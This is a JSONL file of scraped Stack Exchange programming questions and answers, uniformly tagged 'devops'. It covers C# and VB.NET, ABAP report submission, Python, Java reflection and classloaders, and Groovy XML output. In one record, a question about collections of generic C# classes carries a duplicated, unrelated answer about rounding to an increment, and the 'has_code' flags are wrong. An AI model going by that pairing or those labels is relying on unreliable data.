"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.699909"}
{"id": "hf_c462c2f84d5d", "question": "<p>What's the best performing way to convert a DataRowCollection instance to a DataRow[]?</p>\n", "question_body": "", "answer": "This is kind of obvious, but:\n```\nDataRowCollection.CopyTo(DataRow[] array, Int32 offset)\n```\n?\nIt seems like no matter what, you're going to have to iterate the collection (CopyTo iterates the internal DataRowTree elements).\nI suppose you could use reflection to access the non-public tree, but at a significant cost.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.728972"}
{"id": "hf_7c50ca35ffd6", "question": "<p>How do you extract an HD and Bios Unique ID, using python script?</p>\n", "question_body": "", "answer": "Solutions that come to my mind:\nuse\nWin32 Python Extensions\nand call Windows APIs to do that directly\nUse a WMI-wrapper for Python\n(some\nWMI interface code\nfor reference)\nEdit\n: I assumed your OS was MS Windows :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.752872"}
{"id": "hf_1423fe5e4b5c", "question": "<p>I need to convert a Word document into HTML file(s) in Java. The function will take input an word document and the output will be html file(s) based on the number of pages the word document has i.e. if the word document has 3 pages then there will be 3 html files generated having the required page break.</p>\n\n<p>I searched for open source/non-commercial APIs which can convert doc to html but for no result. Anybody who have done this type of job before please help.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You'd have to find the MS word doc specification ( since it is basically a binary dump of whatever is in word at that point in time ), and slowly go through it element by element converting ms word \"objects/states\" to the html equiv. you might be able to find a script to do it for u since this really isn't fun work and i'd advise against it ( converting file formats or even reading from commercial files on your own is always hard and often incomplete ). \nPS: just\ngoogle doc2html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.800762"}
{"id": "hf_c433f21d4265", "question": "<p>I have a CVS repository on my local workstation. I've demonstrated to my employer that version control is a great idea. Alright! So now I want to migrate my CVS history from my local workstation onto a real server.</p>\n\n<p>I have installed CVS on the server and it is working.</p>\n\n<p>Now, can I just move my repository files? Or do I have to do some sort of import command?</p>\n\n<p>I know I could just check the current codebase into the new CVS server, but that'd lose the history, right?</p>\n", "question_body": "", "answer": "I just migrated one last week.\nWe're using Subversion at work, and all I did was move the root Subversion directory from one machine to the other. Then when I installed the\nVisualSVN server\non the new machine, I just chose the existing Subversion root that I ported rather than creating a new repository. It seamlessly maintained history and files.\nI'm not sure how well this will work with other source control systems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.835929"}
{"id": "hf_5aa34727fdf4", "question": "<p>I know how to find a method in java using a fixed string,</p>\n\n<pre><code>someClass.getMethod(\"foobar\", argTypes);\n</code></pre>\n\n<p>but is there a way to use a regular expression rather than a fixed string to find a method on a given class? </p>\n\n<p>An example of the usage might be if I wanted to find a method that was called either \"foobar\" or \"fooBar\". Using a regular expression like \"foo[Bb]ar\" would match either of these method names.</p>\n", "question_body": "", "answer": "You should apply your regexp on\ngetDeclaredMethods\n() reflection method (or GetMethods() if you want only the public ones).\n[Warning: both methods will throw a SecurityException if there is a security manager.]\nYou apply it on each name of each method returned by getDeclaredMethod() and only memorize in a Collection the compliant Methods.\nSomething like!\n```\n```\ntry\n{\n  final Pattern aMethodNamePattern = Pattern.compile(\"foo[Bb]ar\");\n  final List<Method> someMethods = aClass.getDeclaredMethods();\n  final List<Method> someCompliantMethods = new ArrayList<Method>();\n  for(final Method aMethod: someMethods)\n  {\n    final String aMethodName = aMethod.getName();\n    final Matcher aMethodNameMatcher = aMethodNamePattern.getMatcher(aMethodName);\n    if(aMethodNameMatcher.matches() == true)\n    {\n       someCompliantMethods.add(aMethod);\n    }\n}\ncatch(...) // catch all exceptions like SecurityException, IllegalAccessException, ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.883350"}
{"id": "hf_541f5495f902", "question": "<p><a href=\"http://developer.yahoo.com/yui/compressor/\" rel=\"nofollow noreferrer\">YUI Compressor</a> does not accept wildcard parameters, so I cannot run it like this:  </p>\n\n<pre><code>C:&gt;java -jar yuicompressor.jar *.js\n</code></pre>\n\n<p>But I have over 500 files and would rather not have to create a batch file like this:</p>\n\n<pre><code>C:&gt;java -jar yuicompressor.jar file1.js -o deploy\\file1.js\nC:&gt;java -jar yuicompressor.jar file2.js -o deploy\\file2.js\n...\nC:&gt;java -jar yuicompressor.jar file500.js -o deploy\\file500.js\n</code></pre>\n\n<p>And of course my file names are <em>not</em> in such uniform way.</p>\n\n<p>Is there way to automate this without writing any code? :)</p>\n", "question_body": "", "answer": "I might go for a makefile (I think it would probably be more maintainable long term), but if you want a quick-n-dirty Windows batch command something like the following should work:\n```\n```\nfor %%a in (*.js) do @java -jar yuicompressor.jar \"%%a\" -o \"deploy\\%%a\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.907120"}
{"id": "hf_a79c663604d1", "question": "<p>How can I find or generate thousands of company names for testing and demo purposes?  (Address, phone number, and related information would be nice too.)</p>\n\n<p>I've got a system I'm building which includes business contact information.  Pretty common no doubt.  </p>\n\n<p>My test/demo database currently has randomly generated individual's names loaded (thanks to a handy IRS spreadsheet I found). This has worked great for internal testing and review purposes, but it looks really odd when shown to prospective customers.</p>\n\n<p>I've tried various online public information sources (e.g. EDGAR, and county based property records searches), but these all require me to manually stitch together the results in blocks of 50 names or so at a time.  I could do this, but was really hoping for a search service or data store out there that had this type of information readily searchable and retrievable in very large batches.</p>\n", "question_body": "", "answer": "I use\nFake Name generator\n:\nWhat can I use the Fake Name Generator identities for?\nThousands of individuals, companies, and government organizations have found useful and creative things to do with the Fake Name Generator. Here are a few examples:\nQuality test data can be hard to come by, especially with laws (such as HIPAA) preventing use of real data. Read more on\nthe dangers of testing with real data\n.\nMany websites, such message boards, are poorly designed, making it difficult for visitors from foreign countries to sign up for accounts. Using fake information, you can easily fill out the sign up forms and log in to the site.\nUse fake information when filling out forms to avoid giving out personal information.\nGenerate a false identity to use as your pseudonym on the internet. This allows you to keep your real life and your internet life separate.\nGet ideas for names to use for characters in a book or story.\nGenerated credit cards can be used to test basic client-/server-side validation techniques without accidentally processing a real card.\nGenerated national identity numbers can be used to test basic client-/server-side validation techniques without risking disclosure of real information...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.930257"}
{"id": "hf_505f735e9d81", "question": "<p>I am building up a view with various text and image elements.</p>\n\n<p>I want to display some text in the view with a blurry copy of the text behind it, but not just a text shadow.</p>\n\n<p>How do I apply Gaussian blurred text onto a UIImage or layer?</p>\n", "question_body": "", "answer": "On the desktop, no question, you'd use CoreImage to do this.\nOn the phone though, I don't think there exists a way to do this using CoreGraphics. If it is absolutely critical OpenGLES may be able to help.\nHowever, I would suggest rethinking your interface. I would think the blurred text would be distracting.\nEdit: mledford points out in the comments that you could use CoreAnimation. I don't know if CA on the phone includes blur radius like on the desktop, but you could try it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.953953"}
{"id": "hf_3159c7eda399", "question": "<p>I have written a standalone app that controls a device through RS-232 port and some customers want to be able to use the device with LabVIEW.  I have seen some threads describing where to start when learning to use LabVIEW, but I was wondering if anyone has experience with writing a plugin/driver (is that the right word?) for LabVIEW and perhaps point me in the right direction.</p>\n\n<p>The existing app is  GUI that allows people to control the device with higher level concepts - rather than have to know the syntax and protocol of the serial port comms stuff.  I want to abstract that away as well so that users can just plug something into LabVIEW and I suppose it exposes some verbs and methods that allow the device to be manipulated and also provide data to clients.  </p>\n\n<p>I think there is a serial port interface from LabVIEW, but I am sure the people using this device do not want to have to write the code (parsers and etc) to communicate with the device.</p>\n", "question_body": "", "answer": "There are two options for what you're trying to do.\nCreate a DLL that users of your device can\ncall from LabVIEW\n.\nRewrite your application in LabVIEW.\nTo reach the largest possible number of potential customers, option #1 would be the best solution for you.  If your customers are specifically asking for a LabVIEW driver then option #2 would probably be the least hassle for that specific customer.  The reason for this is that LabVIEW is very much a niche language (for automation and data acquisition), and for many LabVIEW developers it's the only language they know (or the only one they know well).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.001470"}
{"id": "hf_25065f08aade", "question": "<p>I want to expose the functionality of an SAP program (transaction) as a BAPI.\nI need to call a report and supply range filters such that the GUI is bypassed.</p>\n\n<p>Does anyone have a working example of the SUBMIT ... WITH ... ABAP construct, or other suggestions on how to accomplish what I need to do?</p>\n", "question_body": "", "answer": "Here is a working example:\n```\n```\nSUBMIT SAPF140 \n    TO SAP-SPOOL                         \"optional\"\n    SPOOL PARAMETERS print_parameters    \"optional\"\n    WITHOUT SPOOL DYNPRO                 \"optional (hides the spool pop-up)\"\n    VIA JOB jobname NUMBER l_number      \"optional\"\n    AND RETURN                           \"optional - returns to the calling prog\"\n    WITH EVENT   =  REVENT\n    WITH BUKRS   IN RBUKRS\n    WITH BELNR   IN lRBELNR\n    WITH GJAHR   IN RGJAHR\n    WITH USNAM   =  SY-UNAME\n    WITH DATUM   =  SAVE_DATUM\n    WITH UZEIT   =  SAVE_UZEIT\n    WITH DELDAYS =  RDELDAYS\n    WITH KAUTO   =  'X'\n    WITH RPDEST  =  SAVE_PDEST\n    WITH TITLE   =  TITLE.\n```\n```\nAll the \"WITH\" statements relates to selection fields on the called program where I use = it is a PARAMETER statement (single field), where I use IN it is a SELECT_OPTIONS statement (range)\nHere is a simple example of how to fill a range:\n```\n```\nREFRESH lrbelnr.\nlrbelnr-sign = 'I'.\nlrbelnr-option = 'EQ'.\nlrbelnr-low = HBKORM-belnr.\nCLEAR lrbelnr-high.\nappend lrbelnr.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.037811"}
{"id": "hf_bba0687c4133", "question": "<p>I need to round a value up to the nearest multiple of 2.5.</p>\n\n<p>For example:<br>\n6 --> 7.5<br>\n7.6 --> 10<br>\netc.  </p>\n\n<p>This seems like the best way to do this?</p>\n\n<pre><code>   Function RoundToIncrement(ByVal originalNumber As Decimal, ByVal increment As Decimal) As Decimal\n\n        Dim num = Math.Round(originalNumber / increment, MidpointRounding.AwayFromZero) * increment\n        If originalNumber Mod increment &lt;&gt; 0 And num &lt; originalNumber Then\n            num += increment\n        End If\n        Return num\n\n    End Function\n</code></pre>\n", "question_body": "", "answer": "Divide the number by 2.5, round up to the nearest integer, then multiply the result by 2.5.\nYou're close.\n```\n```\nFunction RoundToIncrement(ByVal orignialNumber As Decimal, ByVal increment As Decimal) As Decimal\n    Return Math.Ceiling( orignialNumber / increment ) * increment\nEnd Function\n```\n```\nMath.Ceiling will always round non-integers up, so you don't need the post-adjustment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.073193"}
{"id": "hf_4b8c3ec48b24", "question": "<p>Consider the following code:</p>\n\n<pre><code>abstract class SomeClassX&lt;T&gt;\n{\n  // blah\n}\n\nclass SomeClassY: SomeClassX&lt;int&gt;\n{\n  // blah\n}\n\nclass SomeClassZ: SomeClassX&lt;long&gt;\n{\n  // blah\n}\n</code></pre>\n\n<p>I want a collection of SomeClassX&lt;T&gt;'s, however, this isn't possible since SomeClassX&lt;int&gt; != SomeClassX&lt;long&gt; and List&lt;SomeClassX&lt;&gt;&gt; isn't allowed.</p>\n\n<p>So my solution is to have SomeClassX&lt;T&gt; implement an interface and define my collection as, where ISomeClassX is the interface:</p>\n\n<pre><code>class CollectionOfSomeClassX: List&lt;ISomeClassX&gt;\n{\n  // blah\n}\n</code></pre>\n\n<p>Is this the best way to do this, or is there better way?</p>\n", "question_body": "", "answer": "Divide the number by 2.5, round up to the nearest integer, then multiply the result by 2.5.\nYou're close.\n```\n```\nFunction RoundToIncrement(ByVal orignialNumber As Decimal, ByVal increment As Decimal) As Decimal\n    Return Math.Ceiling( orignialNumber / increment ) * increment\nEnd Function\n```\n```\nMath.Ceiling will always round non-integers up, so you don't need the post-adjustment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.108241"}
{"id": "hf_9b400bd64e1b", "question": "<p>How do I programmatically return the maximum of two integers without using any comparison operators and without using <code>if</code>, <code>else</code>, etc?</p>\n", "question_body": "", "answer": "return (a > b ? a : b);\nor\n```\n```\nint max(int a, int b)\n{\n        int x = (a - b) >> 31;\n        int y = ~x;\n        return (y & a) | (x & b); \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.131650"}
{"id": "hf_319de6c8036c", "question": "<p>I've run across the following line in a VB6 application.</p>\n\n<pre><code>mobjParentWrkBk.ExcelWorkBook.Application.Selection.Insert Shift:=xlToRight\n</code></pre>\n\n<p>Unfortunately Google and other search engines have not been very useful as they seem to omit the := part. </p>\n\n<p>What would be a C# equivalent?</p>\n", "question_body": "", "answer": "This is Visual Basic syntax for optional named parameters. The\n```\nInsert\n```\nfunction has a parameter named\n```\nShift\n```\n, which is being specified.\nC#, as far as I know, doesn't have an equivalent for optional named parameters. Instead, you'd need to call the\n```\nInsert\n```\nmethod, specifying\n```\nType.Missing\n```\nfor all parameters other than\n```\nShift\n```\n.\nSee also the following StackOverflow question:\nVB.NET := Operator\nUPDATE (2008-10-29):\nC# 4.0 is set to introduce optional and named parameters. See this\nblog entry on codebetter.com\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.166980"}
{"id": "hf_a0922cfa334c", "question": "<p>I am planning a PHP application that needs to store date/times in an MSSQL database. (For the curious, it is a calendar application.) What is the preferred format to store this information?</p>\n\n<p>MSSQL has its own datetime data type, which works well in the database itself and is very readable. However, there aren't any MSSQL functions to translate datetime values to PHP's preferred format--UNIX timestamp. This makes it a bit more painful to use with PHP. UNIX timestamp is attractive because that's what PHP likes, but it's certainly not as readable and there aren't a bunch of nice built-in MSSQL functions for working with the data.</p>\n\n<p>Would you store this information as datetime data type, as UNIX timestamps (as int, bigint, or varchar datatype), as both formats side by side, or as something else entirely?</p>\n", "question_body": "", "answer": "I'd recommend the same as i do for all dates in any db engine, the db native type. (DATETIME)\nJust use \"YYYY-MM-DD HH:MM:SS\" for inserting in php:\n```\ndate('Y-m-d H:i:s', $myTimeStampInSeconds);\n```\n-edit in response to comments below here -\nfor selected columns you can use\n```\n$timestamp =\nstrtotime\n( $yourColumnValue );\n```\ni recommend storing in the databas native format because you can then use SQL to compare records using SQL date/time functions like DATEADD() etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.190938"}
{"id": "hf_4026de7ebb08", "question": "<p>Here is my function (<strong>updated</strong>):</p>\n\n<pre><code>Public Shared Function shortenUrl(ByVal URL As String) As String\n    Return shortenUrl(URL, 32)\nEnd Function\nPublic Shared Function shortenUrl(ByVal URL As String, ByVal maxLength As Integer) As String\n    If URL.Length &gt; maxLength Then\n        String.Format(\"{0}...{1}\", URL.Substring(0, (maxLength / 2)), URL.Substring(URL.Length - ((maxLength / 2) - 3)))\n    Else\n        Return URL\n    End If\nEnd Function\n</code></pre>\n\n<p>I fixed the problem where it didn't return <code>maxLength</code> chars because it didn't take into account the ellipses.</p>\n\n<hr>\n\n<p>It seems to me that it is too complicated; any suggestions, comments, concerns are more than welcome.</p>\n", "question_body": "", "answer": "Why not do this?\n```\n```\nPublic Shared Function shortenUrl(ByVal URL As String) As String\n    Return shortenUrl(URL, 29)\nEnd Function\nPublic Shared Function shortenUrl(ByVal URL As String, ByVal maxLength As Integer) As String\n    If URL.Length > maxLength Then\n        Return String.Format(\"{0}...{1}\", URL.Substring(0, maxLength / 2),URL.Substring(URL.Length - (maxLength / 2)))\n    Else\n        Return URL\n    End If\nEnd Function\n```\n```\nThat at least gets rid of all of the tempoary declarations", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.214920"}
{"id": "hf_2bb003d2a67d", "question": "<p>I'm attempting to determine the row length in bytes of a table by executing the following stored procedure:</p>\n\n<pre><code>CREATE TABLE #tmp \n(\n  [ID] int, \n  Column_name varchar(640), \n  Type varchar(640), \n  Computed varchar(640), \n  Length int, \n  Prec int, \n  Scale int, \n  Nullable varchar(640), \n  TrimTrailingBlanks varchar(640), \n  FixedLenNullInSource varchar(640), \n  Collation varchar(256)\n)\nINSERT INTO #tmp exec sp_help MyTable\nSELECT SUM(Length) FROM #tmp\nDROP TABLE #tmp\n</code></pre>\n\n<p>The problem is that I don't know the table definition (data types, etc..) of the table returned by 'sp_help.'</p>\n\n<p>I get the following error:</p>\n\n<pre><code>Insert Error: Column name or number of supplied values does not match table definition.\n</code></pre>\n\n<p>Looking at the sp_help stored procedure does not give me any clues.</p>\n\n<p>What is the proper CREATE TABLE statement to insert the results of a sp_help?</p>\n", "question_body": "", "answer": "I can't help you with creating a temp table to store sp_help information, but I can help you with calculating row lengths. Check out this\nMSDN article\n; it helps you calculate such based on the field lengths, type, etc. Probably wouldn't take too much to convert it into a SQL script you could reuse by querying against sysobjects, etc.\nEDIT:\nI'm redacting my offer to do a script for it. My way was nowhere near as easy as Vendoran's. :)\nAs an aside, I take back what I said earlier about not being able to help with the temp table. I can: You can't do it. sp_help outputs seven rowsets, so I don't think you'll be able to do something as initially described in the original question. I think you're stuck using a different method to come up with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.251299"}
{"id": "hf_b894a9fc6bcb", "question": "<p>I have a Rails application that in the erb code, I use a select box. What I would like to do is reload the page passing the sort parameter. My controller already handles it, but I don't know how to reload the page with the selected value from my select box. Here is my code:</p>\n\n<pre><code>&lt;% @options = {:latest =&gt; 'lastest' , :alphabetical =&gt; 'alphabetical', :pricelow =&gt; 'price-low', :pricehigh =&gt;'pricehigh'} %&gt;\n&lt;%= select_tag 'sort[]', options_for_select(@options), :include_blank =&gt; true,:onchange =&gt; \"location.reload('location?sort='+this.value)\"%&gt;\n</code></pre>\n", "question_body": "", "answer": "Have you considered using an ajax call on your list box? If you have a method on your controller that returns just the sorted list, based on sort parameter, then you could do:\n```\n```\n<% @options = {:latest => 'lastest' , :alphabetical => 'alphabetical', :pricelow => 'price-low', :pricehigh =>'pricehigh'} %>\n<%= select_tag 'sort[]', options_for_select(@options), :include_blank => true,:onchange => remote_function(:url => {:controller => 'your_controller', :action => 'list_sort_method'}, :with => \"'sort='+this.value\", :update => \"div_containing_list\") %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.278782"}
{"id": "hf_9a34af3e03fb", "question": "<p>When I use this code to output some XML I parsed (and modified) with <code>XmlParser</code></p>\n\n<pre><code>XmlParser parser = new XmlParser()\ndef root = parser.parseText(feedUrl.toURL().text)\ndef writer = new StringWriter()\nnew XmlNodePrinter(new PrintWriter(writer)).print(root)\nprintln writer.toString()\n</code></pre>\n\n<p>the namespace declarations on the root node are not printed, even though they are there in the <code>toString()</code> of <em>root</em>...  any ideas?</p>\n", "question_body": "", "answer": "It looks like it's denormalizing the output and including the namespace context along with the nodes that actually need the namespace context.\nFor example, the webpage for this question comes in with creativeCommons namespace embedded:\n```\n```\n<feed xmlns=\"http://www.w3.org/2005/Atom\" xmlns:creativeCommons=\"http://backend.userland.com/creativeCommonsRssModule\" xmlns:thr=\"http://purl.org/syndication/thread/1.0\">\n  <!-- snip -->\n  <creativeCommons:license>http://www.creativecommons.org/licenses/by-nc/2.5/rdf</creativeCommons:license>\n  <!-- snip -->\n</feed>\n```\n```\nWhen you output the xml using this script:\n```\n```\ndef root = new XmlParser().parseText(\"http://stackoverflow.com/feeds/question/227447\".toURL().text)\nprintln new XmlNodePrinter().print(root)\n```\n```\nIt ends up moving the namespace to the license node that needs that namespace.  Not a huge deal in this case as there is only a single node in that namespace.  If most of the XML were namespaced, it'd probably bloat things quite a bit more.\n```\n```\n<feed xmlns=\"http://www.w3.org/2005/Atom\">\n  <!-- snip -->\n    <creativeCommons:license xmlns:creativeCommons=\"http://backend.userland.com/creativeCommonsRssModule\">\nhttp://www.creativecommons.org/licenses/by-nc/2.5/rdf\n  </creativeCommons:license>\n  <!-- snip -->\n</feed>\n```\n```\nIf you actually wanted the nodes normalized, you'd have to make some tweaks to the XmlNodePrinter to do 2 passes through the XML, first to gather all of the used namespaces and 2nd to output them at the top rather than within each namespaced node.  The groovy source code is actually pretty readable and wouldn't be that hard to modify if you actually needed this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.313172"}
{"id": "hf_bc9a0086515d", "question": "<p>How do I get the <a href=\"http://en.wikipedia.org/wiki/ASCII\" rel=\"noreferrer\">ASCII</a> value of a character as an <code>int</code> in Python?</p>\n", "question_body": "", "answer": "You are looking for:\n```\n```\nord()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.359715"}
{"id": "hf_de42806865b2", "question": "<p>I want to do some basic filtering on a file. Read it, do processing, write it back. </p>\n\n<p>I'm not looking for \"golfing\", but want the simplest and most elegant method to achieve this. I came up with:</p>\n\n<pre><code>from __future__ import with_statement\n\nfilename = \"...\" # or sys.argv...\n\nwith open(filename) as f:\n    new_txt = # ...some translation of f.read() \n\nopen(filename, 'w').write(new_txt)\n</code></pre>\n\n<p>The <code>with</code> statement makes things shorter since I don't have to explicitly open and close the file.</p>\n\n<p>Any other ideas ?</p>\n", "question_body": "", "answer": "This seems to work:\n```\n```\nwith open(filename, \"r+\") as f:\n    new_txt = process(f.read())\n    f.truncate(0)\n    f.write(new_txt)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.383408"}
{"id": "hf_f244ce1ab638", "question": "<p>I have a search form on each of my pages. If I use form helper, it defaults to <code>$_POST</code>. I'd like the search term to show up in the URI:</p>\n\n<pre><code>http://example.com/search/KEYWORD\n</code></pre>\n\n<p>I've been on Google for about an hour, but to no avail. I've only found articles on how <code>$_GET</code> is basically disabled, because of the native URI convention. I can't be the first person to want this kind of functionality, am I? Thanks in advance!</p>\n", "question_body": "", "answer": "I don't know much about CodeIgniter, but it's PHP, so shouldn't\n```\n$_GET\n```\nstill be available to you? You could format your URL the same way Google does:\n```\nmysite.com/search?q=KEYWORD\n```\nand pull the data out with\n```\n$_GET['q']\n```\n.\nBesides, a search form seems like a bad place to use POST; GET is bookmarkable and doesn't imply that something is changing server-side.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.407434"}
{"id": "hf_5de6e17116d2", "question": "<p>I need a well tested Regular Expression (.net style preferred), or some other simple bit of code that will parse a USA/CA phone number into component parts, so:</p>\n\n<ul>\n<li>3035551234122</li>\n<li>1-303-555-1234x122</li>\n<li>(303)555-1234-122</li>\n<li>1 (303) 555 -1234-122</li>\n</ul>\n\n<p>etc...</p>\n\n<p>all parse into:</p>\n\n<ul>\n<li>AreaCode: 303</li>\n<li>Exchange: 555</li>\n<li>Suffix: 1234</li>\n<li>Extension: 122</li>\n</ul>\n", "question_body": "", "answer": "This is the one I use:\n```\n```\n^(?:(?:[\\+]?(?<CountryCode>[\\d]{1,3}(?:[ ]+|[\\-.])))?[(]?(?<AreaCode>[\\d]{3})[\\-/)]?(?:[ ]+)?)?(?<Number>[a-zA-Z2-9][a-zA-Z0-9 \\-.]{6,})(?:(?:[ ]+|[xX]|(i:ext[\\.]?)){1,2}(?<Ext>[\\d]{1,5}))?$\n```\n```\nI got it from\nRegexLib\nI believe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.430820"}
{"id": "hf_8c80eab8db8c", "question": "<p>Would NTFS allocation blocks of 16KB or 32KB make compile time faster in comparison to the default 4KB?</p>\n", "question_body": "", "answer": "I can't imagine that would make much of a difference - disk block size is pretty far removed from compile speed. With the amount of caching a modern OS does, it seems unlikely to be significant.\nThe real answer, of course, can be found by measuring it. Getting similar conditions between different machines with different disk block sizes might be tricky, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.454378"}
{"id": "hf_5af026fa3672", "question": "<p>Does anyone know how to programmaticly find out where the java classloader actually loads the class from?  </p>\n\n<p>I often work on large projects where the classpath gets very long and manual searching is not really an option.  I recently had a <a href=\"https://stackoverflow.com/questions/226280/eclipse-class-version-bug\" title=\"problem\">problem</a> where the classloader was loading an incorrect version of a class because it was on the classpath in two different places.</p>\n\n<p>So how can I get the classloader to tell me where on disk the actual class file is coming from?</p>\n\n<p><strong><em>Edit:</em></strong> What about if the classloader actually fails to load the class due to a version mismatch (or something else),  is there anyway we could find out what file its trying to read before it reads it?</p>\n", "question_body": "", "answer": "Assuming that you're working with a class named\n```\nMyClass\n```\n, the following should work:\n```\n```\nMyClass.class.getClassLoader();\n```\n```\nWhether or not you can get the on-disk location of the .class file is dependent on the classloader itself.  For example, if you're using something like BCEL, a certain class may not even have an on-disk representation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.489256"}
